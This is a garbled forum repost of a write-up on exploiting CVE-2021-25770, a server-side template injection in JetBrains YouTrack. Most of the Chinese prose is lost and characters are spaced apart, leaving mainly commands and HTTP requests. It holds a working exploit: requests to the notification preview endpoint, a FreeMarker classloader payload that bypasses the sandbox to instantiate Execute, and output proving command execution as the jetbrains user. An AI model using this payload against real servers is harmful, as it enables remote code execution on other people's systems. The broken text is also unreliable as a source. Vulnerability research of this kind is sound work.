[28795] 2021-03-10_利用CVE-2021-25770:YOUTRACK中的服务器端模板注入

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-19
2021-03-10_利用CVE-2021-25770:YOUTRACK中的服务器端模板注入 C V E - 2 0 2 1 - 2 5 7 7 0 Y O U T R A C K O t s   2 0 2 1 - 0 3 - 1 0 T w i t t e r   f e e d   C V E - 2 0 2 1 - 2 5 7 7 0   2 0 2 0 . 5 . 3 1 2 3 J e t B r a i n s   Y o u T r a c k S S T I P O C J e t b r a i n s V a s i l y   V a s i l k o v   [ 1 ] w w w . j e t b r a i n s . c o m 2 0 2 0 . 5 . 2 5 7 9 2 0 2 0 . 5 . 3 1 2 3 F r e e m a r k e r   [ 2 ] F r e e m a r k e r   2 . 3 . 2 3 F r e e m a r k e r   2 . 3 . 3 0 使 F r e e m a r k e r F r e e m a r k e r D o c k e r Y o u t r a c k 使 d o c k e r Y o u T r a c k J a b b e r 使 $   l s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 / a p p s / y o u t r a c k / w e b / W E B - I N F / l i b   |   g r e p   f r e e - r w - r - - r - -   1   u s 3 r 7 7 7   u s 3 r 7 7 7     1 3 5 0 6 2 4   2 5   n o v .     1 7 : 5 3   f r e e m a r k e r - 2 . 3 . 2 3 . j a r $   l s   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 / a p p s / y o u t r a c k / w e b / W E B - I N F / l i b   |   g r e p   f r e e - r w - r - - r - -   1   u s 3 r 7 7 7   u s 3 r 7 7 7     1 7 0 2 9 7 5     2   d é c .     1 5 : 0 7   f r e e m a r k e r - 2 . 3 . 3 0 . j a r $   g r e p   ' F r e e m a r k e r '   - r i l   |   c u t   - d   ' / '   - f 1   |   s o r t   |   u n i q   - c             1   y o u t r a c k - a p p l i c a t i o n - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r           5 3   y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r             2   y o u t r a c k - s c r i p t s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r             1   y o u t r a c k - w e b a p p - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r $   d i f f   - b u r   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r B i n a r y   f i l e s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / c o n t r o l l e r / F r e e m a r k e r C o n f i g u r a t i o n . c l a s s   a n d   y o u t r a c k - 2 0 2 0 . 5 B i n a r y   f i l e s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l / E n t i t y E x t e n d e d B e a n s W r a p p e r $ C o m p a n i o n $ I T E R A B L E _ F A C T O R Y $ 1 . B i n a r y   f i l e s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l / E n t i t y E x t e n d e d B e a n s W r a p p e r $ C o m p a n i o n . c l a s s   a n d   y o u t r a c k - B i n a r y   f i l e s   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l / E n t i t y E x t e n d e d B e a n s W r a p p e r . c l a s s   a n d   y o u t r a c k - 2 0 2 0 . 5 . O n l y   i n   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l :   S t r i c t M e m b e r A c c e s s P o l i c y $ f o r C l a s s $ 1 . c l a s s O n l y   i n   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l :   S t r i c t M e m b e r A c c e s s P o l i c y . c l a s s d o c k e r   r u n   - i t   - - n a m e   y o u t r a c k - i n s t a n c e 1   - v   d a t a : / o p t / y o u t r a c k / d a t a   - v   c o n f : / o p t / y o u t r a c k / c o n f   - v   l o g s : / o p t / y o u t r a c k / l o g s   - v   b a c k u p s : / o p t / y o u t r a c k / b a c k u p s   - p   8 8 8 8 : 8 0 8 0   j e t b r a i n s / y o u t r a c k : P O S T   / a p i / a d m i n / n o t i f i c a t i o n S u p p l e m e n t / p r e v i e w ? $ t o p = - 1 & f i e l d s = o u t p u t , i s s u e I d , e r r o r   H T T P / 1 . 1 H o s t :   y o u t r a c k v m : 8 8 8 8 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8
使 f r e e m a r k e r . t e m p l a t e . u t i l i t y . E x e c u t e [ 3 ]     j e t b r a i n s   /   y o u t r a c k   /   n o t i f i c a t i o n s   /   c o n t r o l l e r   /   F r e e m a r k e r C o n f i g u r a t i o n . c l a s s F r e e m a r k e r [ 4 ] A L L O W S _ N O T H I N G _ R E S O L V E R 使 使 2 . 3 . 3 0 F r e e m a r k e r ñ 2 0 2 0 M i r o s h   [ 5 ]   n e w I n s t a n c e 使 A l v a r o O l e k s a n d r f r e e m a r k e r . t e m p l a t e . O b j e c t W r a p p e r D E F A U L T _ W R A P P E R P O S T F r e e m a r k e r   2 . 3 . 3 0 使 M e m b e r A c c e s s P o l i c y 访 C l a s s L o a d e r [ 6 ] Y o u t r a c k F r e e m a r k e r S t r i c t M e m b e r A c c e s s P o l i c y     Y o u T r a c k 2 0 2 0 . 5 . 3 1 2 3 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 A u t h o r i z a t i o n :   B e a r e r   1 6 1 2 8 0 3 6 9 2 8 5 5 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9 . b c 6 5 b 1 3 d - c f 8 9 - 4 3 2 f - 8 a d 0 - 5 d a 6 2 3 2 3 d 2 a 0 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9   4 a 7 4 1 f 8 9 - 0 e c 7 - 4 f b 0 - b a f 4 - 9 4 0 8 C o n t e n t - L e n g t h :   1 0 8 C o o k i e :   Y T J S E S S I O N I D = n o d e 0 p 6 q 2 u e 0 8 2 9 g h x c 1 9 j j s j w g p w 9 7 . n o d e 0   {         " t e m p l a t e " :   {                 " f i l e N a m e " :   " a r t i c l e _ d i g e s t _ s u b j e c t . f t l " ,                 " c o n t e n t " :   " $ { 1 9 1 * 7 } "         } }   H T T P / 1 . 1   2 0 0   O K [ . . . ]   { " i s s u e I d " : n u l l , " o u t p u t " : " 1 , 3 3 7 " , " e r r o r " : n u l l , " $ t y p e " : " N o t i f i c a t i o n P r e v i e w " } P O S T   / a p i / a d m i n / n o t i f i c a t i o n S u p p l e m e n t / p r e v i e w ? $ t o p = - 1 & f i e l d s = o u t p u t , i s s u e I d , e r r o r   H T T P / 1 . 1   H o s t :   y o u t r a c k v m : 8 8 8 8   C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8   A u t h o r i z a t i o n :   B e a r e r   1 6 1 2 8 0 3 6 9 2 8 5 5 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9 . b c 6 5 b 1 3 d - c f 8 9 - 4 3 2 f - 8 a d 0 - 5 d a 6 2 3 2 3 d 2 a 0 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9   4 a 7 4 1 f 8 9 - 0 e c 7 - 4 f b 0 - b a f 4 - 9 4 0 8 C o n t e n t - L e n g t h :   1 7 1   C o o k i e :   Y T J S E S S I O N I D = n o d e 0 p 6 q 2 u e 0 8 2 9 g h x c 1 9 j j s j w g p w 9 7 . n o d e 0       {           " t e m p l a t e " :   {                   " f i l e N a m e " :   " a r t i c l e _ d i g e s t _ s u b j e c t . f t l " ,                   " c o n t e n t " : " < # a s s i g n   e x = " f r e e m a r k e r . t e m p l a t e . u t i l i t y . E x e c u t e " ? n e w ( ) >   $ { e x ( " i d " ) } "           }   }     H T T P / 1 . 1   2 0 0   O K   { " i s s u e I d " : n u l l , " o u t p u t " : " [ e r r o r ]   [ e r r o r ] " , " e r r o r " : n u l l , " $ t y p e " : " N o t i f i c a t i o n P r e v i e w " } F r e e M a r k e r   t e m p l a t e   e r r o r :   I n s t a n t i a t i n g   f r e e m a r k e r . t e m p l a t e . u t i l i t y . E x e c u t e   i s   n o t   a l l o w e d   i n   t h e   t e m p l a t e   f o r   s e c u r i t y   r e a s o n s . < # a s s i g n   c l a s s l o a d e r = a r t i c l e . c l a s s . p r o t e c t i o n D o m a i n . c l a s s L o a d e r > < # a s s i g n   o w c = c l a s s l o a d e r . l o a d C l a s s ( " f r e e m a r k e r . t e m p l a t e . O b j e c t W r a p p e r " ) > < # a s s i g n   d w f = o w c . g e t F i e l d ( " D E F A U L T _ W R A P P E R " ) . g e t ( n u l l ) > < # a s s i g n   e c = c l a s s l o a d e r . l o a d C l a s s ( " f r e e m a r k e r . t e m p l a t e . u t i l i t y . E x e c u t e " ) > $ { d w f . n e w I n s t a n c e ( e c , n u l l ) ( " i d " ) } P O S T   / a p i / a d m i n / n o t i f i c a t i o n S u p p l e m e n t / p r e v i e w ? $ t o p = - 1 & f i e l d s = o u t p u t , i s s u e I d , e r r o r   H T T P / 1 . 1 H o s t :   y o u t r a c k v m : 8 8 8 8 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 A u t h o r i z a t i o n :   B e a r e r   1 6 1 2 8 0 3 6 9 2 8 5 5 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9 . b c 6 5 b 1 3 d - c f 8 9 - 4 3 2 f - 8 a d 0 - 5 d a 6 2 3 2 3 d 2 a 0 . 7 3 d 6 e e 6 b - 8 8 a f - 4 5 3 0 - 8 4 2 4 - 0 a a d 4 4 0 5 a 5 9 9   4 a 7 4 1 f 8 9 - 0 e c 7 - 4 f b 0 - b a f 4 - 9 4 0 8 C o n t e n t - L e n g t h :   3 9 3 C o o k i e :   Y T J S E S S I O N I D = n o d e 0 p 6 q 2 u e 0 8 2 9 g h x c 1 9 j j s j w g p w 9 7 . n o d e 0     {     " t e m p l a t e " :   {             " f i l e N a m e " :   " a r t i c l e _ d i g e s t _ s u b j e c t . f t l " ,             " c o n t e n t " : " < # a s s i g n   c l a s s l o a d e r = a r t i c l e . c l a s s . p r o t e c t i o n D o m a i n . c l a s s L o a d e r > < # a s s i g n   o w c = c l a s s l o a d e r . l o a d C l a s s ( " f r e e m a r k e r . t e m p l a t e . O b j e c t W r a p p e r " ) > < # a s s i g n   d w f = o w c . g e t F i e l d ( "     } }   H T T P / 1 . 1   2 0 0   O K [ . . . ]   { " i s s u e I d " : n u l l , " o u t p u t " : " u i d = 1 3 0 0 1 ( j e t b r a i n s )   g i d = 1 3 0 0 1 ( j e t b r a i n s )   g r o u p s = 1 3 0 0 1 ( j e t b r a i n s ) n " , " e r r o r " : n u l l , " $ t y p e " : " N o t i f i c a t i o n P r e v i e w " } $   d i f f   - b u r   y o u t r a c k - 2 0 2 0 . 5 . 2 5 7 9 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 2 5 7 9 . j a r - d i r   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r [ . . . ] O n l y   i n   y o u t r a c k - 2 0 2 0 . 5 . 3 1 2 3 _ l i b s / y o u t r a c k - n o t i f i c a t i o n s - 2 0 2 0 . 5 . 3 1 2 3 . j a r - d i r / j e t b r a i n s / y o u t r a c k / n o t i f i c a t i o n s / m o d e l :   S t r i c t M e m b e r A c c e s s P o l i c y . c l a s s
[ 1 ]   h t t p s : / / b l o g . j e t b r a i n s . c o m / b l o g / 2 0 2 1 / 0 2 / 0 3 / j e t b r a i n s - s e c u r i t y - b u l l e t i n - q 4 - 2 0 2 0 / - C V E - 2 0 2 1 - 2 5 7 7 0 [ 2 ]   h t t p s : / / f r e e m a r k e r . a p a c h e . o r g / - F r e e m a r k e r [ 3 ]   h t t p s : / / p o r t s w i g g e r . n e t / r e s e a r c h / s e r v e r - s i d e - t e m p l a t e - i n j e c t i o n - S S T I [ 4 ] h t t p s : / / f r e e m a r k e r . a p a c h e . o r g / d o c s / a p i / f r e e m a r k e r / c o r e / T e m p l a t e C l a s s R e s o l v e r . h t m l - F r e e m a r k e r   T e m p l a t e C l a s s R e s o l v e r [ 5 ]   h t t p s : / / f r e e m a r k e r . a p a c h e . o r g / d o c s / a p i / f r e e m a r k e r / e x t / b e a n s / M e m b e r A c c e s s P o l i c y . h t m l - F r e e m a r k e r   2 . 3 . 3 0 M e m b e r A c c e s s P o l i c y
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则